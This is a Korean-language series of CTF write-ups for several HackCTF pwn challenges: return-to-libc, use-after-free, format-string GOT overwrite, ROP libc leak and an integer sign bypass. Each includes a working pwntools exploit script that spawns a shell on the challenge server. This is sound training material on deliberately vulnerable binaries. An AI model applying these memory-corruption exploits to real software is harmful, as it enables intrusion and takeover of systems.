main 함수에서 system@plt에 대한 언급과 gift 함수에서 system() 함수를 호출하는 것을 보아 해당 함수를 이용한 RTL 공격을 수행할 필요가 있음을 확인할 수 있었습니다.

Find Trigger

main 함수에서 선언된 local_18 변수의 크기는 16이지만 fgets의 경우 0x40 만큼 입력받기 때문에 overflow가 가능하였습니다.

따라서 ret 주소를 변조하기 위한 padding을 구한 후 gift 주소로 변조하였을 때 아래와 같은 결과를 확인할 수 있었습니다.

종종 ghidra로 확인한 위치와 gdb로 확인한 위치가 달라서 무슨 차이가 있는건가 싶었는데 ghidra에서 표시되는 값은 gdb에서 표시된 값 + SFP offset과 일치하였습니다. 즉, ghidra에서는 0x18 값에 SFP가 포함된 offset이었으며 gdb에서는 0x10에 SFP(0x8, 64bit 기준) 크기만큼 제외되어서 표시되었습니다.

sh: 1: use: not found

위와 같은 내용이 출력되는 이유는 인자로 사용된 값이 올바른 명령이 아닌 것이기 때문으로 추정되었습니다. 즉, gift 함수를 직접 실행하기 위함보다는 system@plt 호출을 위해 있다고 예상할 수 있었습니다.

system 함수의 경우 호출이 가능한 것을 확인하였으므로 인자를 전달하기 위한 gadget과 인자로 전달할 값이 필요합니다. gadget이 필요한 이유는 64 bit calling convention에 의해 첫 번째 인자는 rdi에 저장되어야 하기 때문입니다.

gadget의 경우 rp++를 사용하여 검색하였습니다.

root@e60a28c09eb6:~/hackctf/unexploitable_1# rp++ -f unexploitable_1 -r 4 | grep 'pop rdi'
0x004007d3: pop rdi ; ret  ;  (1 found)

인자로 전달할 값의 경우 여러 시나리오를 구상할 수 있지만 별도의 library나 base address의 출력이 없기 때문에 고정된 주소에 있는 값을 사용할 필요가 있었습니다.

system 함수의 경우 '/bin/sh'가 아닌 'sh' 문자로도 shell을 실행할 수 있기에 gdb를 사용하여 해당 문자열을 검색하였습니다.

gdb-peda$ find "sh"
Searching for 'sh' in: None ranges
Found 102 results, display max 102 items:
unexploitable_1 : 0x4003bf --> 0x6e69647473006873 ('sh')
unexploitable_1 : 0x6003bf --> 0x6e69647473006873 ('sh')

고정된 주소에 있는 결과를 확인할 수 있었고 이를 이용하여 최종 exploit을 완성할 수 있었습니다.

Exploit

#!/usr/bin/python3

from pwn import *

#p = process("./unexploitable_1")
p = remote("ctf.j0n9hyun.xyz", 3023)
e = ELF("./unexploitable_1")

#context.log_level = 'debug'
context.arch = 'x86_64'

padding = "A"*0x18
gadget = 0x004007d3     # pop rdi; ret
binsh = "sh"

rtl = p64(gadget)
rtl += p64(0x4003bf)
rtl += p64(e.symbols['system'])

payload = padding.encode('utf-8')
payload += rtl 

p.recvline()
p.sendline(payload)

p.interactive()

우선 문제의 제목에서 추측할 수 있는 부분은 Heap 취약점 중 하나인 "Use After Free"와 연관되어 있을 것이라는 점이었습니다. 프로그램을 실행할 경우 4개의 메뉴가 display 되는 것을 확인할 수 있었습니다.

root@e60a28c09eb6:~/hackctf/uaf# ./uaf
----------------------
        U-A-F
☆★ 종현이와 함께하는★☆
 ★☆  엉덩이 공부 ☆★
----------------------
 1. 노트 추가
 2. 노트 삭제
 3. 노트 출력
 4. 탈출
----------------------
입력 :

이 중 노트 추가 -> 노트 삭제 -> 삭제된 노트의 index를 인자로 노트 출력을 수행할 경우 Segmentation Fault가 발생하는 것을 보아 index에 대한 처리와 관련하여 취약점이 있을 것으로 예상할 수 있었습니다.

----------------------
        U-A-F
☆★ 종현이와 함께하는★☆
 ★☆  엉덩이 공부 ☆★
----------------------
 1. 노트 추가
 2. 노트 삭제
 3. 노트 출력
 4. 탈출
----------------------
입력 :3
Index :0
Segmentation fault

Ghidra를 통한 decompile 결과는 추가, 삭제, 출력이 각각 add_note(), del_note(), print_note() 함수에 정의되어 있었으며 flag를 읽어오는 magic() 함수가 존재하였습니다.

동작에 있어서 특이점으로는 print_note_content() 함수였는데 print_note()가 이를 참조하여 동작하였습니다.

add_note()를 수행할 경우 아래와 같은 형식으로 heap에 저장되는 것을 확인할 수 있었습니다.

0x804c200:    0x0804865b    0x0804c210    0x00000000    0x00000021
0x804c210:    0x74736554    0x48414820    0x00000a41    0x00000000

여기서 핵심은 0x804c200 주소에 저장되어 있는 0x0804865b는 print_note_content() 함수의 주소였는데 +4 주소에 있는 값을 출력하였습니다.

Find Trigger

print_note() 함수는 print_note_content() 함수를 호출하며 진행되므로 만약 print_note_content() 주소가 저장되어 있는 부분을 magic() 함수의 주소로 변조하면 flag를 획득할 수 있을 것이라 생각하였습니다.

어떤 식으로 진행해야 할지는 찾았으나 이후 해당 값을 변조하는데에 어려움이 있었어서 이 부분은 약간의 힌트를 구한 뒤 진행하였습니다.

실제 print_note_content()와 내용의 주소를 가리키는 부분은 별도의 malloc()을 통해서 할당되었단 점을 알 수 있었습니다.

위 내용들을 종합하면 다음과 같이 결론을 내릴 수 있었습니다.

• add_note()를 실행할 경우 malloc(8)을 실행 후 malloc(size)를 통해 내용을 저장
• del_note()를 실행할 경우 내용을 저장한 공간을 free() 후 8 byte 공간의 free()를 진행

이를 통해 시나리오를 작성하면 임의의 사이즈 노트 두 개를 생성 후 삭제할 경우 각각의 포인터로 사용했던 8 byte 공간 두 개가 bin에 저장되어 있으므로 size를 8로 지정하여 노트를 추가하면 이들을 제어할 수 있게 됩니다.

Exploit

Memory의 변화에 대해 이해하는 것이 핵심이기에 흐름을 마지막으로 한번 더 정리하였습니다. 별도로 생성되는 8 Byte의 공간을 헤더로 지칭하였습니다.

1. A 헤더 할당(8 Byte)
2. A 내용 할당(8 Byte가 아닌 임의의 Size)
3. B 헤더 할당(8 Byte)
4. B 내용 할당(8 Byte가 아닌 임의의 Size)
5. A note free(내용 -> 헤더 순으로 free)
6. B note free(내용 -> 헤더 순으로 free)

위 과정이 사전 준비에 해당되며 모든 노트의 목록을 관리하는 notelist 배열에는 "A 헤더 주소 - B 헤더 주소" 순으로 저장되어 있습니다.

bin의 경우 헤더를 기준으로 정리하면 "B 헤더 - A 헤더" 순으로 저장되어 있습니다. 이후 8 Byte로 malloc()을 수행할 경우 C 헤더는 B 헤더의 공간을 재사용하며 C 내용은 A 헤더의 공간을 재사용합니다.

이후 notelist에 C 헤더 주소가 추가되지만 이전의 A 헤더와 B 헤더는 삭제되지 않은 채로 남아 있습니다. print_note()의 경우 헤더에 저장된 함수 포인터를 기반으로 동작하기에 C 내용을 임의의 함수 주소로 지정할 경우 A 노트의 index에 해당되는 0을 사용하여 동작을 수행할 경우 임의 함수 실행이 가능합니다.

#!/usr/bin/python3

 from pwn import *

 p = remote("ctf.j0n9hyun.xyz", 3020)
 e = ELF("./uaf")

 menu = " :"

 # Create 2 Note
 p.sendlineafter(menu, "1")
 p.sendlineafter(menu, "929")
 p.sendlineafter(menu, "Yena's Birthday")

 p.sendlineafter(menu, "1")
 p.sendlineafter(menu, "509")
 p.sendlineafter(menu, "Yeju's BirthDay")

 # Delete Both Note
 p.sendlineafter(menu, "2")
 p.sendlineafter(menu, "0")

 p.sendlineafter(menu, "2")
 p.sendlineafter(menu, "1")

 # Spoof Second Note Pointer

 p.sendlineafter(menu, "1")
 p.sendlineafter(menu, "8")
 p.sendlineafter(menu, p32(e.symbols['magic']))

 # Read Flag

 p.sendlineafter(menu, "3")
 p.sendlineafter(menu, "0")

 log.info(p.recvline().decode('utf-8'))

문제 파일을 다운로드 받으면 ELF 실행파일 하나가 존재하는 것을 확인할 수 있었습니다. 프로그램을 간단하게 실행해보면 이름의 입력을 요구하고 임의의 값을 입력할 경우 이를 다시 출력 후 Segmentation Fault가 발생하며 종료됩니다.

root@e60a28c09eb6:~/hackctf/silver# ./you_are_silver
Please enter your name
Hi
Hi

You are silver.
Segmentation fault

Ghidra를 이용한 decompile 결과를 확인해보면 다음과 같이 구성된 main을 확인할 수 있었습니다.

undefined8 main(void)

{
  char local_38 [40];
  int local_10;
  undefined4 local_c;

  setvbuf(stdout,(char *)0x0,2,0);
  local_c = 0x32;
  puts("Please enter your name");
  fgets(local_38,0x2e,stdin);
  printf(local_38);
  local_10 = get_tier(local_c);
  printf((char *)(long)local_10);
  return 0;
}

main에서 호출하는 get_tier() 함수 외에 play_game() 함수 또한 존재하였습니다. 또한 segfault의 원인으로 마지막의 printf에서 초기화되지 않은 int 변수를 인자로 사용하는 것을 추측할 수 있었습니다.

먼저 get_tier() 함수의 경우 아래와 같이 구현되어 있었습니다.

void get_tier(int param_1)

{
  if (param_1 < 0x33) {
    puts("\nYou are silver.");
  }
  else {
    if ((param_1 < 0x42) && (0x32 < param_1)) {
      puts("\nYou are platinum.");
    }
    else {
      if ((param_1 < 0x4c) && (0x41 < param_1)) {
        puts("\nYou are master.");
      }
      else {
        if (0x4b < param_1) {
          puts("\nYou are challenger.");
        }
      }
    }
  }
  return;
}

get_tier 함수의 경우 'local_c'의 값을 비교하여 조건에 만족할 경우 특정 값을 반환하는 것으로 보였습니다. 기본적으로 0x32로 초기화 되었기에 "You are silver" 라는 문구를 반환하였으며, fgets에서 overflow가 발생하는 것을 통해 local_c 값을 조작할 수 있었습니다.

root@e60a28c09eb6:~/hackctf/silver# ./you_are_silver
Please enter your name
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZ
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZ
You are challenger.
Segmentation fault

flag를 얻기 위해서는 play_game() 함수에서 tier가 challenger일 경우 cat ./flag 명령을 실행해주는 것을 보아 이를 이용할 필요가 있어 보였습니다.

void play_game(int param_1)

{
  if (param_1 == 2) {
    puts("platinum can\'t play game. :(");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  if (param_1 < 3) {
    if (param_1 == 1) {
      puts("SILVER can\'t play game.");
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
  }
  else {
    if (param_1 == 3) {
      puts("master can\'t play game. Sorry! :(");
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
    if (param_1 == 4) {
      puts("Challenger. Take this first!");
      system("cat ./flag");
    }
  }
  puts("Who are you? get out!");
                    /* WARNING: Subroutine does not return */
  exit(0);
}

Find Trigger

paly_game() 함수를 호출하기 위한 방법을 생각해보던 중 마지막 printf의 GOT 주소를 play_game()의 주소로 변조할 경우 최종적으로 play_game(local_10) 형태로 호출 가능한 점을 확인할 수 있었습니다.

문제는 fgets를 통해서 ret 주소를 조작할 정도로 입력하기에는 size가 부족하였기에 이를 어떤 식으로 조작할지가 관건이었는데, 입력값을 다시 출력하는 과정에서 Format string bug가 발생한다는 점을 알 수 있었습니다.

FSB를 이용할 경우 GOT Overwrite를 진행할 수 있었지만 몇 가지로 인해 exploit에는 성공하지 못했습니다. 아래는 이번 문제를 통해 새로 알게된 내용들이며 자세한 설명은 별도의 게시글로 작성할 예정입니다.

• %p 혹은 %lx를 통한 내용 확인
• %ln을 통한 임의 주소 쓰기
• fgets와 0x00의 관계
• 8 byte alignment

Exploit

최종적으로 사용한 exploit은 아래와 같습니다.

#!/usr/bin/python3

 from pwn import *

 #p = process("./you_are_silver")
 p = remote("ctf.j0n9hyun.xyz", 3022)
 context.terminal = '/bin/bash'
 #context.log_level = 'debug'

 got = 0x601028  # printf@got.plt

 # Must $rbp-0x4 is greater 0x4b Like 'Z'


 fsb = b"%4196055c%8$lnPP"
 fsb += p64(got)

 padding = b"A"*(44-len(fsb))

 payload = fsb 
 payload += padding
 payload += b"Z"

 p.recvline()
 p.sendline(payload)

 p.recvline()
 p.recvline()
 p.recvline()
 log.info(p.recvline().decode('utf-8'))

우선 문제의 제목으로부터 유추할 수 있는 점은 ROP를 활용한 공격이 진행될 것이란 점을 예상할 수 있었습니다. 또한 compile에 사용된 것으로 추정되는 libc.so.6 library 파일 또한 같이 제공된 것을 확인할 수 있었습니다.

ROP 공격을 진행하기 위해서는 최우선적으로 BOF를 이용한 흐름 조작과 system 함수의 호출을 위한 library base address의 leak이 필요하였습니다.

먼저 프로그램은 크게 main 함수와 vulnerable_function 함수로 구성되어 있었으며, main 함수의 경우 vulnerable_function을 호출 후 특정 문자열을 출력하는 것 외에 특별한 점은 찾아볼 수 없었습니다.

vulnerable_function의 경우 아래와 같이 작성되어 있었으며, read 함수로 입력받은 값에 대한 boundary check routine이 존재하지 않았기에 RET 주소를 변조하는 것이 가능하였습니다.

void vulnerable_function(void)

{
  undefined local_8c [136];

  read(0,local_8c,0x100);
  return;
}

여태까지 ROP를 사용하여 해결하였던 문제와 다른 점은 별도로 library 주소를 구하기 위한 hint가 제공되지 않는 점이었습니다. 따라서 payload를 구성할 때 출력 함수를 사용하여 library 주소를 계산하기 위한 runtime 중 mapping 되어진 함수의 주소를 획득할 필요가 있었습니다.

Runtime 중 mapping 된 함수의 주소를 구하기 위해서는 해당 함수가 최소 한 번 이상 사용될 필요가 있었기에 read 함수를 대상으로 하였습니다.

획득한 read 함수의 주소와 offset을 이용하여 library 주소를 계산한 뒤 이를 다시 system 함수의 offset과 더하여 system 함수의 주소를 획득, bss 영역에 "/bin/sh\x00" 문자열을 삽입하여 이를 인자로 shell을 획득하였습니다.

Exploit

#!/usr/bin/python3

 from pwn import *

 p = remote("ctf.j0n9hyun.xyz", 3021)
 e = ELF("./rop")

 padding = b"A"*(0x88+0x4)

 rop = ROP(e)
 rop.write(0x1, e.got['read'], 0x4)
 rop.read(0x0, e.bss(), 0x8)
 rop.read(0x0, e.got['read'], 0x4)
 rop.read(e.bss())

 payload = padding
 payload += rop.chain()

 p.sendline(payload)

 read = u32(p.recvn(4))
 library = read - 0x000d4350

 p.send(b"/bin/sh\x00")
 p.send(p32(library + 0x0003a940))

 log.info("library base address: " + hex(library))
 log.info("System address: " + hex(library + 0x0003a940))
 p.interactive()

대상 파일을 다운로드 받은 후 실행하면 몇 byte 만큼 입력받을 것인지 묻는 내용과 함께 입력 대기 상태로 들어갑니다. case 분석을 위해 여러 내용들을 입력한 결과 문자가 아닌 숫자를 입력해야 정상적으로 동작을 하였으며, 특정 크기가 초과될 경우 size가 너무 크다며 종료 되었습니다.

ghidra를 사용하여 확인한 내용의 경우 33 이상의 size를 입력하려고 시도하였을 경우 error를 발생시키는 것을 확인할 수 있었습니다.

void vuln(void)

{
  char local_30 [32];
  int local_10;

  printf("How many bytes do you want me to read? ");
  get_n(local_30,4);
  local_10 = atoi(local_30);
  if (local_10 < 0x21) {
    printf("Ok, sounds good. Give me %u bytes of data!\n",local_10);
    get_n(local_30,local_10);
    printf("You said: %s\n",local_30);
  }
  else {
    printf("No! That size (%d) is too large!\n",local_10);
  }
  return;
}

main 함수의 경우 vuln 함수를 호출하는 것 외의 특별한 동작이 없었으며 대부분 vuln 함수를 위주로 진행되었습니다. local_30의 크기는 32 byte였으며 33 미만의 size를 입력하였을 경우에만 다시 get_n() 함수를 이용하여 입력받는 것을 확인할 수 있었습니다.

특이한 점은, 입력을 받을 때 사용자 함수인 get_n()을 사용한다는 점과 최대 size에 대한 검사가 존재하여 일반적으로는 ret 주소까지 덮기 위한 size의 확보가 불가능한 점이었습니다.

Searching Vulnerability

먼저 get_n() 함수의 경우 내부 logic에 의해 getchar() 함수를 사용하여 1 byte씩 입력받고 있음을 확인하였습니다.

void get_n(int param_1,uint param_2)

{
  char cVar1;
  int iVar2;
  uint local_10;

  local_10 = 0;
  while( true ) {
    iVar2 = getchar();
    cVar1 = (char)iVar2;
    if (((cVar1 == '\0') || (cVar1 == '\n')) || (param_2 <= local_10)) break;
    *(char *)(param_1 + local_10) = cVar1;
    local_10 = local_10 + 1;
  }
  *(undefined *)(local_10 + param_1) = 0;
  return;
}

내부 logic에서는 getchar()로 입력받은 값을 EOL 문자에 해당되는지 검사 후, 이를 만나기 전까지 입력받는 값을 순차적으로 저장하는 함수였습니다.

get_n() 함수 내에 별도의 취약점이 없기 때문에 입력 size를 조작하는 것에 Key points를 두었습니다.

주로 int형을 사용할 때 적용할 수 있는 방법으로 overflow와 underflow가 있는만큼 최소값에 대한 검사는 없으므로 음수 값을 적용해보았습니다.

root@e60a28c09eb6:~/hackctf/Pwning# ./pwning
How many bytes do you want me to read? -1
Ok, sounds good. Give me 4294967295 bytes of data!

'-1'을 입력하였음에도 underflow가 일어난 것을 통해 unsigned int형을 사용 중인 것으로 추측할 수 있었습니다.

우선 넉넉한 buffer 공간은 확보하였으므로 이후 shell을 획득하는 것이 관건이었습니다. NX bit가 적용되었기에 shellcode를 직접 실행하는 것은 불가능하였으며 ROP를 사용하려고 시도하였으나 library 주소를 leak하는데 어려움이 있어 exploit을 성공하지 못하였습니다.

자력으로 exploit은 실패하였고 다른 Write-Up을 참고하여 풀이를 진행한 결과 shell을 획득할 수 있었습니다. ROP와 one_gadget을 사용하여 진행하였습니다.

Exploit

보통 ROP를 사용하게 되면 library 파일도 제공해주는 반면 library 파일을 제공해주지 않기에 Write-Up을 참조하고도 약간의 삽질이 있었습니다. 물론 library search database도 이용해보았으나 끝 세 자리가 같지만 그 외 자리가 다른 library 파일이 여러 개 있는 것을 보아 Write-Up을 통해서 정확히 어떤 파일이었는지 확인하지 못하였다면 더 많은 삽질이 행해졌을 것 같습니다.

#!/usr/bin/python3

 from pwn import *

 p = remote("ctf.j0n9hyun.xyz", 3019)
 e = ELF("./pwning")
 #context.log_level = 'debug'

 printf = e.symbols['printf']
 padding = b"A"*48
 p1r = 0x80484e1
 vuln = e.symbols['vuln']

 # ROP Chain

 chain = p32(printf)
 chain += p32(p1r)
 chain += p32(e.got['printf'])
 chain += p32(vuln)

 # S#1

 payload = padding
 payload += chain

 p.sendlineafter("? ", "-1")
 p.recvline()
 p.sendline(payload)
 p.recvline()

 leaked = u32(p.recv(4))
 libcBase = leaked - 0x49020

 # S#2

 gadget = [0x3a80c, 0x3a812, 0x3a819, 0x5f065, 0x5f066]

 payload = padding
 payload += p32(libcBase + gadget[1])

 p.sendlineafter("? ", "-1")
 p.recvline()
 p.sendline(payload)

 log.info("printf() Address: " + hex(printf))
 log.info("Leaked printf() Address: " + hex(leaked))
 log.info("Libc base Address: " + hex(libcBase))

 p.interactive()

Reference

• https://doongdangdoongdangdong.tistory.com/169
• https://libc.nullbyte.cat/?q=printf%3A020&l=libc6-i386_2.23-0ubuntu10_amd64